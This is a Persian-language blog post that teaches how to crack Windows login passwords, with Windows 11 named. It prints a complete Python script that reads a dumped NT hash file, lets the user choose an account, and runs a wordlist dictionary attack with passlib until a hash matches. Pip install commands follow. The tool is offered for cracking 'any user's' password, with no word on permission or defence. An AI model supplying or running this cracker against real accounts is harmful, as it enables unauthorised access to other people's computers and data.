-
سه شنبه, ۱ تیر ۱۴۰۰، ۰۷:۱۲ ب.ظ
-
۲۵۹۸
نوشتن اسکریپت کرک کردن پسوورد لاگین ویندوز در پایتون
درود به همه !
جدیدا حتما اخباری راجع به رونمایی از ویندوز 11 در مراسم 3 تیر مایکروسافت شنیده اید . در این پست ویدیویی باحال یاد میگیریم چطوری میتونیم پسوورد لاگین هر یوزر در ویندوز 11 رو با استفاده از اسکریپت پایتونی کرک کنیم . این روش روی ویندوز های قبلی مثل 10 و 8 نیز جوابگو خواهد بود . با ما همراه باشید .
سورس کد نوشته شده در ویدیو :
from passlib.hash import nthash
passwordlist = input("Password List : ") hashfile = input("hash file : ")
hashfile = open(hashfile) hashfile = hashfile.readlines()
print("select username ... ") for i in range(len(hashfile)): username = hashfile[i].split(":")[0] print("\t{} - {}".format(i + 1 , username))
index = int(input("\n" + ">>> ")) index -= 1
username = hashfile[index].split(":")[0] hash_of_password = hashfile[index].split(":")[3]
print("Cracking for {} ... ".format(username)) print("HASH : {}".format(hash_of_password))
passwordlist = open(passwordlist)
i = 0 for password in passwordlist: password = password.strip("\n") hash = nthash.hash(password) if hash == hash_of_password: print("\n") print("-" * 30) print("Password Cracked !") print("PASSWORD : [[ {} ]]".format(password)) break i += 1 print("{} password tested .".format(i),end="\r")
برای اجرای سورس کد بالا نیاز به نصب بودن کتابخانه passlib هستش که روی بعضی از لینوکس ها به طور پیشفرض نصب هست . این اسکریپت میتونه روی ویندوز هم اجرا بشه به راحتی . در صورت نصب نبودن passlib ، میتوانید با استفاده از دستور pip آن را نصب کنید :
نصب passlib در لینوکس :
MrPython@debian:~$ sudo pip3 install passlib
نصب passlib در ویندوز :
C:\> pip install passlib
امیدوارم لذت برده باشید . سوالی بود مطرح کنید :)
یا حق !
Telegram Channel : @mrpythonblog